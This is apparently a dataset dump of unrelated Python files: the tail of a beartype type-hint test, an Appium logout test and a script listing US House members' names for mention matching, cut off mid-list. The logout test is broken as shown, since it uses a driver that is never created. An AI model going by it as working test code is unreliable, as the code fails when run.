my horn, the foxes on the hills barked clear and cold,' ' And the sabbath rang slowly' ' In the pebbles of the holy streams.' ), 'All the sun long it was running, it was lovely, the hay').startswith( 'And as I was green and carefree, famous among the barns') # ....................{ TESTS ~ hint : invalid }.................... def test_pep484_hint_invalid_types_nongeneric() -> None: ''' Test the :func:`beartype.beartype` decorator against **invalid non-generic classes** (i.e., classes declared by the :mod:`typing` module used to instantiate PEP-compliant type hints but themselves invalid as PEP-compliant type hints). ''' # Defer heavyweight imports. from beartype import beartype from beartype.roar import BeartypeDecorHintPepSignException from beartype_test.a00_unit.data.hint.pep.data_hintpep import ( HINTS_PEP_INVALID_CLASS_NONGENERIC) # Assert that decorating a callable annotated by a non-generic class raises # the expected exception. for type_nongeneric in HINTS_PEP_INVALID_CLASS_NONGENERIC: with raises_uncached(BeartypeDecorHintPepSignException): @beartype def childe_roland(to_the_dark_tower_came: type_nongeneric) -> ( type_nongeneric): raise to_the_dark_tower_came

[ "leycec@gmail.com" ]

leycec@gmail.com

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/tests/logout_test.py

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refs/heads/master

2021-01-13T08:23:06.740670

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#!/usr/bin/env python # -*- coding: utf-8 -*- # Created by Pcc on 6/28/17 import sys import time import unittest from appium import webdriver from wheel.signatures import assertTrue import DriverConfig class MyTestCase(unittest.TestCase): """Here comes comments""" def setUp(self): pass def test_logout(self): # 跳过广告 time.sleep(10) # 第二种方法使用缓慢拖动swipe来拖动屏幕，duration表示持续时间 self.driver.swipe(start_x=0, start_y=1500, end_x=0, end_y=550, duration=1000) if __name__ == '__main__': unittest.main()

[ "peng.chengcheng@bestv.com.cn" ]

peng.chengcheng@bestv.com.cn

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/congress_mentions.py

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refs/heads/master

2021-01-17T14:05:38.096866

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46,393

py

# -*- coding: utf-8 -*- import json,csv rep_name_list = ["Jo Bonner", "Martha Roby", "Robert Aderholt", "Mo Brooks", "Spencer Bachus", "Terri Sewell", "Don Young", "Eni Faleomavaega", "Paul Gosar", "Trent Franks", "Ben Quayle", "Ed Pastor", "David Schweikert", "Jeff Flake", "Raúl Grijalva", "Gabrielle Giffords", "Ron Barber", "Rick Crawford", "Tim Griffin", "Steve Womack", "Mike Ross", "Mike Thompson", "Wally Herger", "Daniel Lungren", "Tom McClintock", "Doris Matsui", "Lynn Woolsey", "George Miller", "Nancy Pelosi", "Barbara Lee", "John Garamendi", "Jerry McNerney", "Jackie Speier", "Pete Stark", "Anna Eshoo", "Mike Honda", "Zoe Lofgren", "Sam Farr", "Dennis Cardoza", "Jeff Denham", "Jim Costa", "Devin Nunes", "Kevin McCarthy", "Lois Capps", "Elton Gallegly", "Buck McKeon", "David Dreier", "Brad Sherman", "Howard Berman", "Adam Schiff", "Henry Waxman", "Xavier Becerra", "Judy Chu", "Karen Bass", "Lucille Roybal-Allard", "Maxine Waters", "Jane Harman", "Janice Hahn", "Laura Richardson", "Grace Napolitano", "Linda Sánchez", "Ed Royce", "Jerry Lewis", "Gary Miller", "Joe Baca", "Ken Calvert", "Mary Bono Mack", "Dana Rohrabacher", "Loretta Sanchez", "John Campbell", "Darrell Issa", "Brian Bilbray", "Bob Filner", "Duncan Hunter", "Susan Davis", "Diana DeGette", "Jared Polis", "Scott Tipton", "Cory Gardner", "Doug Lamborn", "Mike Coffman", "Ed Perlmutter", "John Larson", "Joe Courtney", "Rosa DeLauro", "James Himes", "Christopher Murphy", "John Carney", "Eleanor Holmes Norton", "Jeff Miller", "Steve Southerland", "Corrine Brown", "Ander Crenshaw", "Richard Nugent", "Cliff Stearns", "John Mica", "Daniel Webster", "Gus Bilirakis", "C. W. Bill Young", "Kathy Castor", "Dennis Ross", "Vern Buchanan", "Connie Mack", "Bill Posey", "Thomas Rooney", "Frederica Wilson", "Ileana Ros-Lehtinen", "Theodore Deutch", "Debbie Wasserman Schultz", "Mario Diaz-Balart", "Allen West", "Alcee Hastings", "Sandy Adams", "David Rivera", "Jack Kingston", "Sanford Bishop", "Lynn Westmoreland", "Henry Johnson", "John Lewis", "Tom Price", "Rob Woodall", "Austin Scott", "Tom Graves", "Paul Broun", "Phil Gingrey", "John Barrow", "David Scott", "Madeleine Bordallo", "Colleen Hanabusa", "Mazie Hirono", "Raúl Labrador", "Mike Simpson", "Bobby Rush", "Jesse Jackson", "Daniel Lipinski", "Luis Gutiérrez", "Mike Quigley", "Peter Roskam", "Danny Davis", "Joe Walsh", "Jan Schakowsky", "Bob Dold", "Adam Kinzinger", "Jerry Costello", "Judy Biggert", "Randy Hultgren", "Donald Manzullo", "Bobby Schilling", "Aaron Schock", "John Shimkus", "Peter Visclosky", "Joe Donnelly", "Marlin Stutzman", "Todd Rokita", "Dan Burton", "Mike Pence", "André Carson", "Larry Bucshon", "Todd Young", "Bruce Braley", "David Loebsack", "Leonard Boswell", "Tom Latham", "Steve King", "Tim Huelskamp", "Lynn Jenkins", "Kevin Yoder", "Mike Pompeo", "Ed Whitfield", "Brett Guthrie", "John Yarmuth", "Geoff Davis", "Harold Rogers", "Ben Chandler", "Steve Scalise", "Cedric Richmond", "Jeffrey Landry", "John Fleming", "Rodney Alexander", "Bill Cassidy", "Charles Boustany", "Chellie Pingree", "Michael Michaud", "Andy Harris", "C. A. Dutch Ruppersberger", "John Sarbanes", "Donna Edwards", "Steny Hoyer", "Roscoe Bartlett", "Elijah Cummings", "Chris Van Hollen", "John Olver", "Richard Neal", "James McGovern", "Barney Frank", "Niki Tsongas", "John Tierney", "Ed Markey", "Michael Capuano", "Stephen Lynch", "William Keating", "Dan Benishek", "Bill Huizenga", "Justin Amash", "Dave Camp", "Dale Kildee", "Fred Upton", "Tim Walberg", "Gary Peters", "Candice Miller", "Thaddeus McCotter", "Sander Levin", "Hansen Clarke", "John Conyers", "John Dingell", "Timothy Walz", "John Kline", "Erik Paulsen", "Betty McCollum", "Keith Ellison", "Michele Bachmann", "Collin Peterson", "Chip Cravaack", "Alan Nunnelee", "Bennie Thompson", "Gregg Harper", "Steven Palazzo", "Wm. Clay", "W. Todd Akin", "Russ Carnahan", "Vicky Hartzler", "Emanuel Cleaver", "Sam Graves", "Billy Long", "Jo Ann Emerson", "Blaine Luetkemeyer", "Dennis Rehberg", "Jeff Fortenberry", "Lee Terry", "Adrian Smith", "Shelley Berkley", "Mark Amodei", "Joseph Heck", "Frank Guinta", "Charles Bass", "Robert Andrews", "Frank LoBiondo", "Jon Runyan", "Chris Smith", "Scott Garrett", "Frank Pallone", "Leonard Lance", "Bill Pascrell", "Steven Rothman", "Donald Payne", "Rodney Frelinghuysen", "Rush Holt", "Albio Sires", "Martin Heinrich", "Steve Pearce", "Ben Ray Luján", "Timothy Bishop", "Steve Israel", "Pete King", "Carolyn McCarthy", "Gary Ackerman", "Gregory Meeks", "Joseph Crowley", "Jerrold Nadler", "Anthony Weiner", "Robert Turner", "Edolphus Towns", "Yvette Clarke", "Nydia Velázquez", "Michael Grimm", "Carolyn Maloney", "Charles Rangel", "José Serrano", "Eliot Engel", "Nita Lowey", "Nan Hayworth", "Christopher Gibson", "Paul Tonko", "Maurice Hinchey", "William Owens", "Richard Hanna", "Ann Marie Buerkle", "Christopher Lee", "Kathleen Hochul", "Brian Higgins", "Louise Slaughter", "Tom Reed", "G.K. Butterfield", "Renee Ellmers", "Walter Jones", "David Price", "Virginia Foxx", "Howard Coble", "Mike McIntyre", "Larry Kissell", "Sue Myrick", "Patrick McHenry", "Heath Shuler", "Mel Watt", "Brad Miller", "Rick Berg", "Gregorio Sablan", "Steve Chabot", "Jean Schmidt", "Michael Turner", "Jim Jordan", "Robert Latta", "Bill Johnson", "Steve Austria", "John Boehner", "Marcy Kaptur", "Dennis Kucinich", "Marcia Fudge", "Pat Tiberi", "Betty Sutton", "Steven LaTourette", "Steve Stivers", "James Renacci", "Tim Ryan", "Bob Gibbs", "John Sullivan", "Dan Boren", "Frank Lucas", "Tom Cole", "James Lankford", "David Wu", "Suzanne Bonamici", "Greg Walden", "Earl Blumenauer", "Peter DeFazio", "Kurt Schrader", "Robert Brady", "Chaka Fattah", "Mike Kelly", "Jason Altmire", "Glenn Thompson", "Jim Gerlach", "Patrick Meehan", "Michael Fitzpatrick", "Bill Shuster", "Tom Marino", "Lou Barletta", "Mark Critz", "Allyson Schwartz", "Mike Doyle", "Charles Dent", "Joseph Pitts", "Tim Holden", "Tim Murphy", "Todd Platts", "Pedro Pierluisi", "David Cicilline", "Jim Langevin", "Tim Scott", "Joe Wilson", "Jeff Duncan", "Trey Gowdy", "Mick Mulvaney", "James Clyburn", "Kristi Noem", "Phil Roe", "John Duncan", "Charles Fleischmann", "Scott DesJarlais", "Jim Cooper", "Diane Black", "Marsha Blackburn", "Stephen Fincher", "Steve Cohen", "Louie Gohmert", "Ted Poe", "Sam Johnson", "Ralph Hall", "Jeb Hensarling", "Joe Barton", "John Culberson", "Kevin Brady", "Al Green", "Michael McCaul", "K. Michael Conaway", "Kay Granger", "Mac Thornberry", "Ron Paul", "Rubén Hinojosa", "Silvestre Reyes", "Bill Flores", "Sheila Jackson Lee", "Randy Neugebauer", "Charlie Gonzalez", "Lamar Smith", "Pete Olson", "Francisco Quico Canseco", "Kenny Marchant", "Lloyd Doggett", "Michael Burgess", "Blake Farenthold", "Henry Cuellar", "Gene Green", "Eddie Bernice Johnson", "John Carter", "Pete Sessions", "Donna Christensen", "Rob Bishop", "Jim Matheson", "Jason Chaffetz", "Peter Welch", "Robert Wittman", "Scott Rigell", "Robert Scott", "J. Randy Forbes", "Robert Hurt", "Bob Goodlatte", "Eric Cantor", "Jim Moran", "H. Morgan Griffith", "Frank Wolf", "Gerald Connolly", "Jay Inslee", "Rick Larsen", "Jaime Herrera Beutler", "Doc Hastings", "Cathy McMorris Rodgers", "Norman Dicks", "Jim McDermott", "David Reichert", "Adam Smith", "David McKinley", "Shelley Moore Capito", "Nick Rahall", "Paul Ryan", "Tammy Baldwin", "Ron Kind", "Gwen Moore", "F. James Sensenbrenner", "Thomas Petri", "Sean Duffy", "Reid Ribble", "Cynthia Lummis"] representative_list = ["Representative Bonner", "Representative Roby", "Representative Aderholt", "Representative Brooks", "Representative Bachus", "Representative Sewell", "Representative Young", "Representative Faleomavaega", "Representative Gosar", "Representative Franks", "Representative Quayle", "Representative Pastor", "Representative Schweikert", "Representative Flake", "Representative Grijalva", "Representative Giffords", "Representative Barber", "Representative Crawford", "Representative Griffin", "Representative Womack", "Representative Ross", "Representative Thompson", "Representative Herger", ["Representative Lungren","Dan Lungren"], "Representative McClintock", "Representative Matsui", "Representative Woolsey", "Representative Miller", "Representative Pelosi", "Representative Lee", "Representative Garamendi", "Representative McNerney", "Representative Speier", "Representative Stark", "Representative Eshoo", "Representative Honda", "Representative Lofgren", "Representative Farr", "Representative Cardoza", "Representative Denham", "Representative Costa", "Representative Nunes", "Representative McCarthy", "Representative Capps", "Representative Gallegly", "Representative McKeon", "Representative Dreier", "Representative Sherman", "Representative Berman", "Representative Schiff", "Representative Waxman", "Representative Becerra", "Representative Chu", "Representative Bass", "Representative Roybal-Allard", "Representative Waters", "Representative Harman", "Representative Hahn", "Representative Richardson", "Representative Napolitano", "Representative Sanchez", "Representative Royce", "Representative Lewis", "Representative Miller", "Representative Baca", "Representative Calvert", "Representative Bono_mack", "Representative Rohrabacher", "Representative Sanchez", "Representative Campbell", "Representative Issa", "Representative Bilbray", "Representative Filner", "Representative Hunter", "Representative Davis", "Representative DeGette", "Representative Polis", "Representative Tipton", "Representative Gardner", "Representative Lamborn", "Representative Coffman", "Representative Perlmutter", "Representative Larson", "Representative Courtney", "Representative DeLauro", ["Representative Himes","Jim Himes"], ["Representative Murphy","Chris Murphy"], "Representative Carney", "Representative Norton", "Representative Miller", "Representative Southerland", "Representative Brown", "Representative Crenshaw", "Representative Nugent", "Representative Stearns", "Representative Mica", "Representative Webster", "Representative Bilirakis", ["Representative Young","Bill Young"], "Representative Castor", "Representative Ross", "Representative Buchanan", "Representative Mack", "Representative Posey", ["Representative Rooney","Tom Rooney"], "Representative Wilson", "Representative Ros-Lehtinen", ["Representative Deutch","Ted Deutch"], "Representative Wasserman Schultz", "Representative Diaz-Balart", "Representative West", "Representative Hastings", "Representative Adams", "Representative Rivera", "Representative Kingston", "Representative Bishop", "Representative Westmoreland", ["Representative Johnson","Hank Johnson"], "Representative Lewis", "Representative Price", "Representative Woodall", "Representative Scott", "Representative Graves", "Representative Broun", "Representative Gingrey", "Representative Barrow", "Representative Scott", "Representative Bordallo", "Representative Hanabusa", "Representative Hirono", "Representative Labrador", "Representative Simpson", "Representative Rush", "Representative Jackson", ["Representative Lipinski","Dan Lipinski"], "Representative Gutierrez", "Representative Quigley", "Representative Roskam", "Representative Davis", "Representative Walsh", "Representative Schakowsky", "Representative Dold", "Representative Kinzinger", "Representative Costello", "Representative Biggert", "Representative Hultgren", "Representative Manzullo", "Representative Schilling", "Representative Schock", "Representative Shimkus", ["Representative Visclosky","Pete Visclosky"], "Representative Donnelly", "Representative Stutzman", "Representative Rokita", "Representative Burton", "Representative Pence", "Representative Carson", "Representative Bucshon", "Representative Young", "Representative Braley", ["Representative Loebsack","Dave Loebsack"], "Representative Boswell", "Representative Latham", "Representative King", "Representative Huelskamp", "Representative Jenkins", "Representative Yoder", "Representative Pompeo", "Representative Whitfield", "Representative Guthrie", "Representative Yarmuth", "Representative Davis", ["Representative Rogers","Hal Rogers"], "Representative Chandler", "Representative Scalise", "Representative Richmond", ["Representative Landry","Jeff Landry"], "Representative Fleming", "Representative Alexander", "Representative Cassidy", "Representative Boustany", "Representative Pingree", ["Representative Michaud","Mike Michaud"], "Representative Harris", ["Representative Ruppersberger","Dutch Ruppersberger"], "Representative Sarbanes", "Representative Edwards", "Representative Hoyer", "Representative Bartlett", "Representative Cummings", "Representative Van Hollen", "Representative Olver", "Representative Neal", "Representative McGovern", "Representative Frank", "Representative Tsongas", "Representative Tierney", "Representative Markey", "Representative Capuano", "Representative Lynch", ["Representative Keating","Bill Keating"], "Representative Benishek", "Representative Huizenga", "Representative Amash", "Representative Camp", "Representative Kildee", "Representative Upton", "Representative Walberg", "Representative Peters", "Representative Miller", "Representative McCotter", "Representative Levin", "Representative Clarke", "Representative Conyers", "Representative Dingell", ["Representative Walz","Tim Walz"], "Representative Kline", "Representative Paulsen", "Representative McCollum", "Representative Ellison", "Representative Bachmann", "Representative Peterson", "Representative Cravaack", "Representative Nunnelee", "Representative Thompson", "Representative Harper", "Representative Palazzo", ["Representative Clay","William Lacy Clay","Lacy Clay","William Clay"], ["Representative Akin","Todd Akin"], "Representative Carnahan", "Representative Hartzler", "Representative Cleaver", "Representative Graves", "Representative Long", "Representative Emerson", "Representative Luetkemeyer", ["Representative Rehberg","Denny Rehberg"], "Representative Fortenberry", "Representative Terry", "Representative Smith", "Representative Berkley", "Representative Amodei", ["Representative Heck","Joe Heck"], "Representative Guinta", ["Representative Bass","Charles F. Bass"], ["Representative Andrews","Robert E. Andrews"], "Representative LoBiondo", "Representative Runyan", "Representative Smith", "Representative Garrett", "Representative Pallone", "Representative Lance", "Representative Pascrell", ["Representative Rothman","Steve Rothman"], ["Representative Payne","Don Payne"], "Representative Frelinghuysen", "Representative Holt", "Representative Sires", "Representative Heinrich", "Representative Pearce", "Representative Lujan", ["Representative Bishop","Tim Bishop"], "Representative Israel", "Representative King", "Representative McCarthy", "Representative Ackerman", "Representative Meeks", ["Joe Crowley","Representative Crowley"], ["Representative Nadler","Jerry Nadler"], "Representative Weiner", ["Representative Turner","Bob Turner"], ["Representative Towns","Ed Towns"], "Representative Clarke", "Representative Velazquez", "Representative Grimm", "Representative Maloney", ["Representative Rangel","Charlie Rangel"], "Representative Serrano", "Representative Engel", "Representative Lowey", "Representative Hayworth", ["Representative Gibson","Chris Gibson"], "Representative Tonko", "Representative Hinchey", ["Representative Owens","Bill Owens"], "Representative Hanna", "Representative Buerkle", ["Representative Lee","Chris Lee"], "Representative Hochul", "Representative Higgins", "Representative Slaughter", "Representative Reed", "Representative Butterfield", "Representative Ellmers", "Representative Jones", "Representative Price", "Representative Foxx", "Representative Coble", "Representative McIntyre", "Representative Kissell", "Representative Myrick", "Representative McHenry", "Representative Shuler", "Representative Watt", "Representative Miller", "Representative Berg", "Representative Sablan", "Representative Chabot", "Representative Schmidt", ["Representative Turner","Mike Turner"], "Representative Jordan", ["Representative Latta","Bob Latta"], "Representative Johnson", "Representative Austria", "Representative Boehner", "Representative Kaptur", "Representative Kucinich", "Representative Fudge", "Representative Tiberi", "Representative Sutton", "Representative LaTourette", "Representative Stivers", ["Representative Renacci","Jim Renacci"], "Representative Ryan", "Representative Gibbs", "Representative Sullivan", "Representative Boren", "Representative Lucas", "Representative Cole", "Representative Lankford", "Representative Wu", "Representative Bonamici", "Representative Walden", "Representative Blumenauer", "Representative DeFazio", "Representative Schrader", "Representative Brady", "Representative Fattah", ["Representative Kelly","Michael Kelly"], "Representative Altmire", "Representative Thompson", "Representative Gerlach", ["Representative Meehan","Pat Meehan"], ["Representative Fitzpatrick","Mike Fitzpatrick"], "Representative Shuster", "Representative Marino", "Representative Barletta", "Representative Critz", "Representative Schwartz", "Representative Doyle", ["Representative Dent","Charlie Dent"], ["Representative Pitts","Joe Pitts"], "Representative Holden", "Representative Murphy", "Representative Platts", "Representative Pierluisi", "Representative Cicilline", "Representative Langevin", "Representative Scott", "Representative Wilson", "Representative Duncan", "Representative Gowdy", "Representative Mulvaney", ["Representative Clyburn","Jim Clyburn"], "Representative Noem", "Representative Roe", "Representative Duncan", ["Representative Fleischmann","Chuck Fleishmann"], "Representative DesJarlais", "Representative Cooper", "Representative Black", "Representative Blackburn", "Representative Fincher", "Representative Cohen", "Representative Gohmert", "Representative Poe", "Representative Johnson", "Representative Hall", "Representative Hensarling", "Representative Barton", "Representative Culberson", "Representative Brady", "Representative Green", "Representative McCaul", ["Representative Conaway","Michael Conaway","Mike Conaway"], "Representative Granger", "Representative Thornberry", "Representative Paul", "Representative Hinojosa", "Representative Reyes", "Representative Flores", "Representative Jackson Lee", "Representative Neugebauer", "Representative Gonzalez", "Representative Smith", "Representative Olson", "Representative Canseco", "Representative Marchant", "Representative Doggett", "Representative Burgess", "Representative Farenthold", "Representative Cuellar", "Representative Green", "Representative Johnson", "Representative Carter", "Representative Sessions", "Representative Christian-Christensen", "Representative Bishop", "Representative Matheson", "Representative Chaffetz", "Representative Welch", ["Representative Wittman","Rob Wittman"], "Representative Rigell", ["Representative Scott","Bobby Scott"], "Representative Forbes", "Representative Hurt", "Representative Goodlatte", "Representative Cantor", "Representative Moran", ["Representative Griffith","Morgan Griffith"], "Representative Wolf", ["Representative Connolly","Gerry Connolly"], "Representative Inslee", "Representative Larsen", ["Representative Herrera Beutler","Herrera Beutler"], "Representative Hastings", "Representative McMorris Rodgers", ["Representative Dicks","Norm Dicks"], "Representative McDermott", ["Representative Reichert","Dave Reichert"], "Representative Smith", "Representative McKinley", "Representative Capito", "Representative Rahall", "Representative Ryan", "Representative Baldwin", "Representative Kind", "Representative Moore", ["Representative Sensenbrenner","James Sensenbrenner"], ["Representative Petri","Tom Petri"], "Representative Duffy", "Representative Ribble", "Representative Lummis"] rep_list1 = ["Rep. Bonner", "Rep. Roby", "Rep. Aderholt", "Rep. Brooks", "Rep. Bachus", "Rep. Sewell", "Rep. Young", "Rep. Faleomavaega", "Rep. Gosar", "Rep. Franks", "Rep. Quayle", "Rep. Pastor", "Rep. Schweikert", "Rep. Flake", "Rep. Grijalva", "Rep. Giffords", "Rep. Barber", "Rep. Crawford", "Rep. Griffin", "Rep. Womack", "Rep. Ross", "Rep. Thompson", "Rep. Herger", "Rep. Lungren", "Rep. McClintock", "Rep. Matsui", "Rep. Woolsey", "Rep. Miller", "Rep. Pelosi", "Rep. Lee", "Rep. Garamendi", "Rep. McNerney", "Rep. Speier", "Rep. Stark", "Rep. Eshoo", "Rep. Honda", "Rep. Lofgren", "Rep. Farr", "Rep. Cardoza", "Rep. Denham", "Rep. Costa", "Rep. Nunes", "Rep. McCarthy", "Rep. Capps", "Rep. Gallegly", "Rep. McKeon", "Rep. Dreier", "Rep. Sherman", "Rep. Berman", "Rep. Schiff", "Rep. Waxman", "Rep. Becerra", "Rep. Chu", "Rep. Bass", "Rep. Roybal-Allard", "Rep. Waters", "Rep. Harman", "Rep. Hahn", "Rep. Richardson", "Rep. Napolitano", "Rep. Sanchez", "Rep. Royce", "Rep. Lewis", "Rep. Miller", "Rep. Baca", "Rep. Calvert", "Rep. Bono_mack", "Rep. Rohrabacher", "Rep. Sanchez", "Rep. Campbell", "Rep. Issa", "Rep. Bilbray", "Rep. Filner", "Rep. Hunter", "Rep. Davis", "Rep. DeGette", "Rep. Polis", "Rep. Tipton", "Rep. Gardner", "Rep. Lamborn", "Rep. Coffman", "Rep. Perlmutter", "Rep. Larson", "Rep. Courtney", "Rep. DeLauro", "Rep. Himes", "Rep. Murphy", "Rep. Carney", "Rep. Norton", "Rep. Miller", "Rep. Southerland", "Rep. Brown", "Rep. Crenshaw", "Rep. Nugent", "Rep. Stearns", "Rep. Mica", "Rep. Webster", "Rep. Bilirakis", "Rep. Young", "Rep. Castor", "Rep. Ross", "Rep. Buchanan", "Rep. Mack", "Rep. Posey", "Rep. Rooney", "Rep. Wilson", "Rep. Ros-Lehtinen", "Rep. Deutch", "Rep. Wasserman Schultz", "Rep. Diaz-Balart", "Rep. West", "Rep. Hastings", "Rep. Adams", "Rep. Rivera", "Rep. Kingston", "Rep. Bishop", "Rep. Westmoreland", "Rep. Johnson", "Rep. Lewis", "Rep. Price", "Rep. Woodall", "Rep. Scott", "Rep. Graves", "Rep. Broun", "Rep. Gingrey", "Rep. Barrow", "Rep. Scott", "Rep. Bordallo", "Rep. Hanabusa", "Rep. Hirono", "Rep. Labrador", "Rep. Simpson", "Rep. Rush", "Rep. Jackson", "Rep. Lipinski", "Rep. Gutierrez", "Rep. Quigley", "Rep. Roskam", "Rep. Davis", "Rep. Walsh", "Rep. Schakowsky", "Rep. Dold", "Rep. Kinzinger", "Rep. Costello", "Rep. Biggert", "Rep. Hultgren", "Rep. Manzullo", "Rep. Schilling", "Rep. Schock", "Rep. Shimkus", "Rep. Visclosky", "Rep. Donnelly", "Rep. Stutzman", "Rep. Rokita", "Rep. Burton", "Rep. Pence", "Rep. Carson", "Rep. Bucshon", "Rep. Young", "Rep. Braley", "Rep. Loebsack", "Rep. Boswell", "Rep. Latham", "Rep. King", "Rep. Huelskamp", "Rep. Jenkins", "Rep. Yoder", "Rep. Pompeo", "Rep. Whitfield", "Rep. Guthrie", "Rep. Yarmuth", "Rep. Davis", "Rep. Rogers", "Rep. Chandler", "Rep. Scalise", "Rep. Richmond", "Rep. Landry", "Rep. Fleming", "Rep. Alexander", "Rep. Cassidy", "Rep. Boustany", "Rep. Pingree", "Rep. Michaud", "Rep. Harris", "Rep. Ruppersberger", "Rep. Sarbanes", "Rep. Edwards", "Rep. Hoyer", "Rep. Bartlett", "Rep. Cummings", "Rep. Van Hollen", "Rep. Olver", "Rep. Neal", "Rep. McGovern", "Rep. Frank", "Rep. Tsongas", "Rep. Tierney", "Rep. Markey", "Rep. Capuano", "Rep. Lynch", "Rep. Keating", "Rep. Benishek", "Rep. Huizenga", "Rep. Amash", "Rep. Camp", "Rep. Kildee", "Rep. Upton", "Rep. Walberg", "Rep. Peters", "Rep. Miller", "Rep. McCotter", "Rep. Levin", "Rep. Clarke", "Rep. Conyers", "Rep. Dingell", "Rep. Walz", "Rep. Kline", "Rep. Paulsen", "Rep. McCollum", "Rep. Ellison", "Rep. Bachmann", "Rep. Peterson", "Rep. Cravaack", "Rep. Nunnelee", "Rep. Thompson", "Rep. Harper", "Rep. Palazzo", "Rep. Clay", "Rep. Akin", "Rep. Carnahan", "Rep. Hartzler", "Rep. Cleaver", "Rep. Graves", "Rep. Long", "Rep. Emerson", "Rep. Luetkemeyer", "Rep. Rehberg", "Rep. Fortenberry", "Rep. Terry", "Rep. Smith", "Rep. Berkley", "Rep. Amodei", "Rep. Heck", "Rep. Guinta", "Rep. Bass", "Rep. Andrews", "Rep. LoBiondo", "Rep. Runyan", "Rep. Smith", "Rep. Garrett", "Rep. Pallone", "Rep. Lance", "Rep. Pascrell", "Rep. Rothman", "Rep. Payne", "Rep. Frelinghuysen", "Rep. Holt", "Rep. Sires", "Rep. Heinrich", "Rep. Pearce", "Rep. Lujan", "Rep. Bishop", "Rep. Israel", "Rep. King", "Rep. McCarthy", "Rep. Ackerman", "Rep. Meeks", "Rep. Crowley", "Rep. Nadler", "Rep. Weiner", "Rep. Turner", "Rep. Towns", "Rep. Clarke", "Rep. Velazquez", "Rep. Grimm", "Rep. Maloney", "Rep. Rangel", "Rep. Serrano", "Rep. Engel", "Rep. Lowey", "Rep. Hayworth", "Rep. Gibson", "Rep. Tonko", "Rep. Hinchey", "Rep. Owens", "Rep. Hanna", "Rep. Buerkle", "Rep. Lee", "Rep. Hochul", "Rep. Higgins", "Rep. Slaughter", "Rep. Reed", "Rep. Butterfield", "Rep. Ellmers", "Rep. Jones", "Rep. Price", "Rep. Foxx", "Rep. Coble", "Rep. McIntyre", "Rep. Kissell", "Rep. Myrick", "Rep. McHenry", "Rep. Shuler", "Rep. Watt", "Rep. Miller", "Rep. Berg", "Rep. Sablan", "Rep. Chabot", "Rep. Schmidt", "Rep. Turner", "Rep. Jordan", "Rep. Latta", "Rep. Johnson", "Rep. Austria", "Rep. Boehner", "Rep. Kaptur", "Rep. Kucinich", "Rep. Fudge", "Rep. Tiberi", "Rep. Sutton", "Rep. LaTourette", "Rep. Stivers", "Rep. Renacci", "Rep. Ryan", "Rep. Gibbs", "Rep. Sullivan", "Rep. Boren", "Rep. Lucas", "Rep. Cole", "Rep. Lankford", "Rep. Wu", "Rep. Bonamici", "Rep. Walden", "Rep. Blumenauer", "Rep. DeFazio", "Rep. Schrader", "Rep. Brady", "Rep. Fattah", "Rep. Kelly", "Rep. Altmire", "Rep. Thompson", "Rep. Gerlach", "Rep. Meehan", "Rep. Fitzpatrick", "Rep. Shuster", "Rep. Marino", "Rep. Barletta", "Rep. Critz", "Rep. Schwartz", "Rep. Doyle", "Rep. Dent", "Rep. Pitts", "Rep. Holden", "Rep. Murphy", "Rep. Platts", "Rep. Pierluisi", "Rep. Cicilline", "Rep. Langevin", "Rep. Scott", "Rep. Wilson", "Rep. Duncan", "Rep. Gowdy", "Rep. Mulvaney", "Rep. Clyburn", "Rep. Noem", "Rep. Roe", "Rep. Duncan", "Rep. Fleischmann", "Rep. DesJarlais", "Rep. Cooper", "Rep. Black", "Rep. Blackburn", "Rep. Fincher", "Rep. Cohen", "Rep. Gohmert", "Rep. Poe", "Rep. Johnson", "Rep. Hall", "Rep. Hensarling", "Rep. Barton", "Rep. Culberson", "Rep. Brady", "Rep. Green", "Rep. McCaul", "Rep. Conaway", "Rep. Granger", "Rep. Thornberry", "Rep. Paul", "Rep. Hinojosa", "Rep. Reyes", "Rep. Flores", "Rep. Jackson Lee", "Rep. Neugebauer", "Rep. Gonzalez", "Rep. Smith", "Rep. Olson", "Rep. Canseco", "Rep. Marchant", "Rep. Doggett", "Rep. Burgess", "Rep. Farenthold", "Rep. Cuellar", "Rep. Green", "Rep. Johnson", "Rep. Carter", "Rep. Sessions", "Rep. Christian-Christensen", "Rep. Bishop", "Rep. Matheson", "Rep. Chaffetz", "Rep. Welch", "Rep. Wittman", "Rep. Rigell", "Rep. Scott", "Rep. Forbes", "Rep. Hurt", "Rep. Goodlatte", "Rep. Cantor", "Rep. Moran", "Rep. Griffith", "Rep. Wolf", "Rep. Connolly", "Rep. Inslee", "Rep. Larsen", "Rep. HerreraBeutler", "Rep. Hastings", "Rep. McMorris Rodgers", "Rep. Dicks", "Rep. McDermott", "Rep. Reichert", "Rep. Smith", "Rep. McKinley", "Rep. Capito", "Rep. Rahall", "Rep. Ryan", "Rep. Baldwin", "Rep. Kind", "Rep. Moore", "Rep. Sensenbrenner", "Rep. Petri", "Rep. Duffy", "Rep. Ribble", "Rep. Lummis"] rep_list2 = ["Rep Bonner", "Rep Roby", "Rep Aderholt", "Rep Brooks", "Rep Bachus", "Rep Sewell", "Rep Young", "Rep Faleomavaega", "Rep Gosar", "Rep Franks", "Rep Quayle", "Rep Pastor", "Rep Schweikert", "Rep Flake", "Rep Grijalva", "Rep Giffords", "Rep Barber", "Rep Crawford", "Rep Griffin", "Rep Womack", "Rep Ross", "Rep Thompson", "Rep Herger", "Rep Lungren", "Rep McClintock", "Rep Matsui", "Rep Woolsey", "Rep Miller", "Rep Pelosi", "Rep Lee", "Rep Garamendi", "Rep McNerney", "Rep Speier", "Rep Stark", "Rep Eshoo", "Rep Honda", "Rep Lofgren", "Rep Farr", "Rep Cardoza", "Rep Denham", "Rep Costa", "Rep Nunes", "Rep McCarthy", "Rep Capps", "Rep Gallegly", "Rep McKeon", "Rep Dreier", "Rep Sherman", "Rep Berman", "Rep Schiff", "Rep Waxman", "Rep Becerra", "Rep Chu", "Rep Bass", "Rep Roybal-Allard", "Rep Waters", "Rep Harman", "Rep Hahn", "Rep Richardson", "Rep Napolitano", "Rep Sanchez", "Rep Royce", "Rep Lewis", "Rep Miller", "Rep Baca", "Rep Calvert", "Rep Bono_mack", "Rep Rohrabacher", "Rep Sanchez", "Rep Campbell", "Rep Issa", "Rep Bilbray", "Rep Filner", "Rep Hunter", "Rep Davis", "Rep DeGette", "Rep Polis", "Rep Tipton", "Rep Gardner", "Rep Lamborn", "Rep Coffman", "Rep Perlmutter", "Rep Larson", "Rep Courtney", "Rep DeLauro", "Rep Himes", "Rep Murphy", "Rep Carney", "Rep Norton", "Rep Miller", "Rep Southerland", "Rep Brown", "Rep Crenshaw", "Rep Nugent", "Rep Stearns", "Rep Mica", "Rep Webster", "Rep Bilirakis", "Rep Young", "Rep Castor", "Rep Ross", "Rep 